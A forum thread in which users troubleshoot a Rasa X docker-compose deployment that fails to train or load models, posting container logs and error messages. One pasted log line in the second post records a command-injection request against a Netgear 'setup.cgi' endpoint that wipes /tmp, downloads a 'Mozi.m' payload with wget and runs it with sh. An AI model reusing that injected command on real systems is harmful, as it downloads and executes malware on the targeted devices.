Rasa X not loading models (docker-compose deployment)

[Deprecated] Rasa X Community Edition
1

Hey,

we have deployed Rasa X on a server using the docker-compose install script and connected a git repository via the Rasa X UI.

The required ports are open (80, 22, 443), the server is running on Ubuntu Server 18.04

Our training data from the gitlab repository is displayed in the UI and the UI tells us the connection is working.

However, loading or training a model in any of the offered ways fails (Train model via the UI, upload model from filesystem, upload via API).

The logs of the container rasa_rasa-x_1 show this error:

rasax.community.services.model_service:Could not run model discovery.

full logs:

    **local@v2202012135435135286**:**/etc/rasa**$ docker logs rasa_rasa-x_1

    Starting Rasa X server... 🚀

    [2020-12-18 09:13:25 +0000] [8] [INFO] Goin' Fast @ http://0.0.0.0:5002

    [2020-12-18 09:13:26 +0000] [32] [INFO] Starting worker [32]

    [2020-12-18 09:13:26 +0000] [31] [INFO] Starting worker [31]

    [2020-12-18 09:13:26 +0000] [29] [INFO] Starting worker [29]

    [2020-12-18 09:13:26 +0000] [28] [INFO] Starting worker [28]

    INFO:rasax.community.services.event_service:Starting event service (standalone: False).

    INFO:rasax.community.services.integrated_version_control.git_service:Cloning git repository from URL 'git@gitlab.com:eli-quereli/rasabotfiw.git'.

    [2020-12-18 09:13:29 +0000] - (sanic.access)[INFO][172.20.0.11:46950]: GET http://45.157.178.81/conversations 200 3217

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46954]: GET http://45.157.178.81/api/projects/default/git_repositories 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46958]: GET http://45.157.178.81/api/projects/default/logs?q=&intent=&limit=50&offset=0&sort_by=time&sort_order=desc 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46962]: GET http://45.157.178.81/api/projects/default/intents?fields[example_hashes]=false&fields[suggestions]=false 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46964]: GET http://45.157.178.81/api/conversationIntents 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46974]: GET http://45.157.178.81/api/conversationEntities 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46976]: GET http://45.157.178.81/api/conversations/slotNames 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46960]: GET http://45.157.178.81/api/conversations/tags 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46982]: GET http://45.157.178.81/api/conversationActions 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46984]: GET http://45.157.178.81/api/conversationPolicies 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46986]: GET http://45.157.178.81/api/conversations/inputChannels 401 57

    [2020-12-18 09:13:30 +0000] - (sanic.access)[INFO][172.20.0.11:46988]: GET http://45.157.178.81/api/projects/default/entities 401 57

    [2020-12-18 09:13:31 +0000] - (sanic.access)[INFO][172.20.0.11:46990]: GET http://45.157.178.81/api/conversations?limit=20&offset=0&minimumUserMessages=1&intent=&entity=&action=&policies=&slots=&input_channels=&tags_any=&interactive=true&exclude_self=false 401 57

    [2020-12-18 09:13:31 +0000] - (sanic.access)[INFO][172.20.0.11:46992]: GET http://45.157.178.81/api/telemetry?include_user_groups=true 401 57

    [2020-12-18 09:13:31 +0000] - (sanic.access)[INFO][172.20.0.11:46994]: POST http://45.157.178.81/api/telemetry 401 57

    [2020-12-18 09:13:31 +0000] - (sanic.access)[INFO][172.20.0.11:47000]: GET http://45.157.178.81/icons/favicon.ico 200 6518

    [2020-12-18 09:13:31 +0000] - (sanic.access)[INFO][172.20.0.11:46996]: GET http://45.157.178.81/api/features 200 2

    [2020-12-18 09:13:31 +0000] - (sanic.access)[INFO][172.20.0.11:46998]: GET http://45.157.178.81/api/user 401 57

    [2020-12-18 09:13:32 +0000] - (sanic.access)[INFO][172.20.0.11:46956]: GET http://45.157.178.81/api/version 200 563

    [2020-12-18 09:13:32 +0000] - (sanic.access)[INFO][172.20.0.11:47008]: GET http://45.157.178.81/api/version 200 563

    [2020-12-18 09:13:33 +0000] - (sanic.access)[INFO][172.20.0.11:47016]: GET http://45.157.178.81/api/version 200 563

    [2020-12-18 09:13:33 +0000] - (sanic.access)[INFO][172.20.0.11:47026]: POST http://45.157.178.81/api/auth 200 4542

    [2020-12-18 09:13:33 +0000] - (sanic.access)[INFO][172.20.0.11:47030]: GET http://45.157.178.81/api/projects/default/git_repositories 200 178

    [2020-12-18 09:13:33 +0000] - (sanic.access)[INFO][172.20.0.11:47040]: GET http://45.157.178.81/api/conversations/slotNames 200 2

    [2020-12-18 09:13:33 +0000] - (sanic.access)[INFO][172.20.0.11:47034]: GET http://45.157.178.81/api/conversationIntents 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47036]: GET http://45.157.178.81/api/projects/default/intents?fields[example_hashes]=false&fields[suggestions]=false 200 325

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47038]: GET http://45.157.178.81/api/conversations/tags 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47046]: GET http://45.157.178.81/api/conversationEntities 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47048]: GET http://45.157.178.81/api/conversationActions 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47054]: GET http://45.157.178.81/api/conversations/inputChannels 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47052]: GET http://45.157.178.81/api/conversationPolicies 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47056]: GET http://45.157.178.81/api/projects/default/entities 200 45

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47064]: GET http://45.157.178.81/api/features 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47058]: GET http://45.157.178.81/api/conversations?limit=20&offset=0&minimumUserMessages=1&intent=&entity=&action=&policies=&slots=&input_channels=&tags_any=&interactive=true&exclude_self=false 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47068]: GET http://45.157.178.81/api/user 200 3182

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47060]: POST http://45.157.178.81/api/telemetry 204 0

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47070]: GET http://45.157.178.81/api/projects/default/logs?q=&intent=&limit=50&offset=0&sort_by=time&sort_order=desc 200 2

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47076]: GET http://45.157.178.81/api/projects/default/git_repositories/1/status 404 209

    [2020-12-18 09:13:34 +0000] - (sanic.access)[INFO][172.20.0.11:47062]: GET http://45.157.178.81/api/telemetry?include_user_groups=true 200 88

    [2020-12-18 09:13:36 +0000] - (sanic.access)[INFO][172.20.0.11:47080]: POST http://45.157.178.81/api/telemetry 204 0

    [2020-12-18 09:13:37 +0000] - (sanic.access)[INFO][172.20.0.11:47032]: GET http://45.157.178.81/api/version 200 563

    [2020-12-18 09:13:37 +0000] - (sanic.access)[INFO][172.20.0.11:47088]: GET http://45.157.178.81/api/version 200 563

    [2020-12-18 09:13:38 +0000] - (sanic.access)[INFO][172.20.0.11:47096]: GET http://45.157.178.81/api/version 200 563

    Execution of job "run_background_synchronization (trigger: cron[minute='*'], next run at: 2020-12-18 09:14:00 UTC)" skipped: maximum number of running instances reached (1)

    [2020-12-18 09:14:34 +0000] - (sanic.access)[INFO][172.20.0.11:47138]: GET http://45.157.178.81/api/projects/default/git_repositories/1/status 404 209

    Execution of job "run_background_synchronization (trigger: cron[minute='*'], next run at: 2020-12-18 09:15:00 UTC)" skipped: maximum number of running instances reached (1)

    WARNING:rasax.community.services.model_service:Could not run model discovery.

    [2020-12-18 09:15:35 +0000] - (sanic.access)[INFO][172.20.0.11:47166]: GET http://45.157.178.81/api/projects/default/git_repositories/1/status 200 244

    [2020-12-18 09:15:35 +0000] - (sanic.access)[INFO][172.20.0.11:47168]: PUT http://45.157.178.81/api/users/me 204 0

    [2020-12-18 09:16:36 +0000] - (sanic.access)[INFO][172.20.0.11:47198]: GET http://45.157.178.81/api/projects/default/git_repositories/1/status 200 244

    [2020-12-18 09:16:36 +0000] - (sanic.access)[INFO][172.20.0.11:47200]: PUT http://45.157.178.81/api/users/me 204 0

    [2020-12-18 09:17:40 +0000] - (sanic.access)[INFO][172.20.0.11:47232]: GET http://45.157.178.81/api/projects/default/git_repositories/1/status 200 244

    [2020-12-18 09:17:40 +0000] - (sanic.access)[INFO][172.20.0.11:47234]: PUT http://45.157.178.81/api/users/me 204 0

    Starting Rasa X server... 🚀

    [2020-12-18 09:18:15 +0000] [8] [INFO] Goin' Fast @ http://0.0.0.0:5002

    [2020-12-18 09:18:15 +0000] [29] [INFO] Starting worker [29]

    [2020-12-18 09:18:15 +0000] [25] [INFO] Starting worker [25]

    [2020-12-18 09:18:15 +0000] [27] [INFO] Starting worker [27]

    [2020-12-18 09:18:15 +0000] [31] [INFO] Starting worker [31]

    INFO:rasax.community.services.event_service:Starting event service (standalone: False).
2

After restarting the rasax container, logs point to a 401 when accessing the git repo:

Starting Rasa X server... 🚀

[2020-12-18 09:18:15 +0000] [8] [INFO] Goin' Fast @ http://0.0.0.0:5002

[2020-12-18 09:18:15 +0000] [29] [INFO] Starting worker [29]

[2020-12-18 09:18:15 +0000] [25] [INFO] Starting worker [25]

[2020-12-18 09:18:15 +0000] [27] [INFO] Starting worker [27]

[2020-12-18 09:18:15 +0000] [31] [INFO] Starting worker [31]

INFO:rasax.community.services.event_service:Starting event service (standalone: False).

[2020-12-18 09:18:42 +0000] - (sanic.access)[INFO][172.20.0.11:47294]: GET http://45.157.178.81/api/projects/default/git_repositories/1/status 401 57

[2020-12-18 09:19:24 +0000] - (sanic.access)[INFO][172.20.0.11:47318]: GET http:///setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 200 3217

WARNING:rasax.community.services.model_service:Could not run model discovery.
3

You have to use ssh for the git connection and it looks like you’re using http. Make sure you follow the steps here.

4

Thank you for the hint, but I am actually pretty sure I am using ssh.

I tried to connect to the repo via the UI and then in a second attempt with this guide:

Training is still failing. Accessing the repo seems to work though, as I can access my training data via the UI.

Could you maybe clarify where you think I amight be using http instead of ssh, so I can try to fix it?

Thanks for your help :slight_smile:

5

And yes, I followed the steps in the link you provided. I am using a GitLab repository instead of Github. But the UI tells me that the connection is working, so I really don’t understand what 's the problem here…

6

So I am still not able to train or upload any models. The logs of the rasa x container show the following error:

Processed story blocks: 100%|██████████| 1/1 [00:00<00:00, 1468.08it/s, # trackers=1]ERROR:rasax.community.api.blueprints.models:Cannot connect to host rasa-worker:5005 ssl:default [Name or service not known] Encountered an exception while training. Please check the logs of the rasa worker container for more information.

I tried to deploy on Ubuntu 18.04 and on Debian 9 and Debian 10.

Any idea what this error is about and how I can solve this issue?

rasa worker and rasa production are restarting continuously and show no logs.

7

I got the same error as you. Do you have any way to solve it?